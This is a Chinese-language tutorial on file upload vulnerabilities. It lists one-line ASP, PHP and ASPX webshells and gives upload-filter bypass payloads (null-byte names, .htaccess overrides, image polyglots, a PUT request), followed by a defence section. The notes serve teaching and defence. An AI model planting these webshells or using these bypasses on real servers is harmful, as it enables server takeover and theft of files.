任意文件上傳漏洞
先來幾個一句話木馬看看
<%execute(request("value"))%> #asp木馬
<?php eval($_POST["value"]);?> #php木馬
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%> #aspx木馬
<?php echo file_get_contents('/path/to/target/file'); ?> #讀取服務器中的敏感文件
<?php echo system($_GET['command']); ?> #利用command參數執行系統命令
已爆出的文件上傳漏洞:
jQuery Upload File <= 4.0.2 中的任意文件上傳 在根目錄下/jquery-upload-file
漏洞原理
web應用程序沒有對可上傳的文件類型,文件內容等作嚴格過濾,或者web服務器的解析漏洞沒有及時修復,導致攻擊者可上傳惡意的腳本文件,獲得執行服務端命令的能力。
漏洞利用
1.如果沒有對上傳的文件名進行嚴格驗證,或者對上傳的文件進行重命名,攻擊者就可以上傳同名文件,對原有文件進行覆蓋。
2.未驗證上傳文件的大小,攻擊者可以上傳巨大的文件,占用可利用磁盤空間。
3.上傳一句話木馬,利用蟻箭等工具進行遠程連接,從而控制服務器。
檢測機制
客戶端js驗證:這種不可靠,可以用來提示用戶可上傳的文件類型,攻擊者可以直接通過抓包工具進行繞過。
MIME類型檢測:通過檢測MIME類型,判斷用戶上傳的文件是否合法,但是攻擊者可以抓包修改Content-Type:字段來繞過。
文件后綴檢測:檢測文件的后綴名,如果不是合法的后綴,禁止上傳,最好用白名單進行過濾可上傳的文件后綴。如果是黑名單檢測,就有很多繞過方式:00截斷;大小寫繞過 ;雙寫繞過,如果后端驗證時,直接將檢測到的不合法后綴去掉,我們就可以雙寫來繞過;.htaccess文件上傳,首先上傳一個.htaccess文件,讓服務器可以解析我們上傳的指定文件名,之后將我們的木馬文件名設置為.htaccess中指定的文件名,上傳以后,就可以在服務端執行。
文件內容檢測:服務端檢測文件的內容,通常會檢查文件頭,可以構造圖片碼繞過。
繞過方式
黑名單繞過
1. 00截斷:
抓包我們上傳的文件,將請求包中的文件名修改為test.php%00.jpg,在許多語言的函數中,字符串處理函數中會將0x00識別為終止符,會將00后的.jpg去掉,導致攻擊者上傳成功木馬文件。
如果文件名是get方式傳輸的,直接在文件名中加%00,如果是post方式提交數據的,需要在16進制中加00 ,因為post中直接加%00不會被自動url解碼。
2. 黑名單過濾不全:
上傳.php3、.php5、index.html、等文件,這種情況發生在,如果黑名單對可執行的文件過濾不全的情況下,可以上傳。
3. 特殊文件名繞過:
在文件的后綴名后加點或者空格,Windows系統會自動將最后面的點或者空格去掉,導致上傳成功,但是Linux系統這種方法不行。
test.asp. test.asp(空格) test.php:1.jpg test.php::$DATA shell.php::$DATA……
或者將后綴名進行換行繞過
test.ph
p
4. 大小寫、雙寫繞過、url編碼繞過:
將文件名中的點、斜杠、反斜杠url編碼或者二次url編碼,如果驗證文件擴展名時沒有進行url解碼,但是在服務器端進行url解碼了,我們就可以繞過限制。例如上傳 test%2Ephp
5. .htaccess文件攻擊:
只在apache服務中,存在該文件。這種方法可以繞過白名單檢測。
<FilesMatch "aa"> SetHandler application/x-httpd-php </FilesMatch>
我們首先上傳一個.htaccess文件,文件中指定任意的文件名當做代碼文件來解析,之后上傳指定文件名的文件,就可以執行文件中的代碼。
白名單繞過
1.htaccess文件攻擊
2. 00截斷
3. 尋找其他測試的上傳文件接口:
如果可上傳的文件是白名單驗證的,我們就可以找一些其他的上傳接口,通常一些測試接口是沒有做限制的,可上傳任意文件。
MIME類型檢測繞過
通過指定MIME類型,讓瀏覽器遇到該擴展名的文件時,知道使用指定的應用程序來打開該文件。
如果上傳時提示文件類型不正確,我們可以抓包修改Content-Type字段值,修改為對應的值,就可以上傳木馬文件。
服務器解析漏洞
1. Apache解析漏洞:apache 2.0-2.2版本可能存在該漏洞。
Apache解析文件的順序是從右往左進行的,如果后面不存在能夠解析的后綴,默認會向前解析,直至遇到能夠解析的后綴。
文件名設置為 test.php.abo.ddd.eee,當我們成功上傳這個文件后,訪問它,服務器就會把它當做php文件來執行。
2.IIS 6.0解析漏洞
(1). 目錄解析:
3. nginx解析漏洞
當url中有不存在的文件時,php默認向前解析,並且是以不存在的文件后綴去解析前一個文件的。
我們訪問www.213.com/test.jpg/1.php ,當不存在1.php時,會向前解析,解析test.php。
文件內容檢測繞過
把代碼文件和圖片合成二進制文件,保存為新的圖片,但是上傳時,還要上傳為.php的后綴,才能夠被解析。
Windows系統中,打開cmd命令框,輸入:
copy /b 1.png+test.php = 2.png
或者利用ExifTool工具來制做圖片碼
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
PUT方法寫入文件
某些web服務器配置支持PUT方法來提交數據。如果沒有防御措施,那么攻擊者就可以利用PUT方法來向服務器寫入惡意文件。
PUT /images/exploit.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-httpd-php Content-Length: 49 <?php echo file_get_contents('/path/to/file'); ?>
防御方法
1.上傳文件的存儲目錄,不給執行權限。(但是也要防止將源代碼回顯到前端頁面,這樣會造成信息泄露)也要防止攻擊者通過目錄遍歷../ 將惡意文件上傳到上一級目錄,有可能上一級目錄有執行權限。
2. 上傳的文件進行重命名。
3. 對可上傳的文件類型進行白名單校驗,只允許上傳可靠的文件類型。
4.及時更新web應用軟件,防止解析漏洞的發生。
5.不能存在本地文件包含漏洞:如果存在本地文件包含漏洞,攻擊者就可以上傳任意的文件,再結合本地文件包含漏洞,去執行上傳的文件。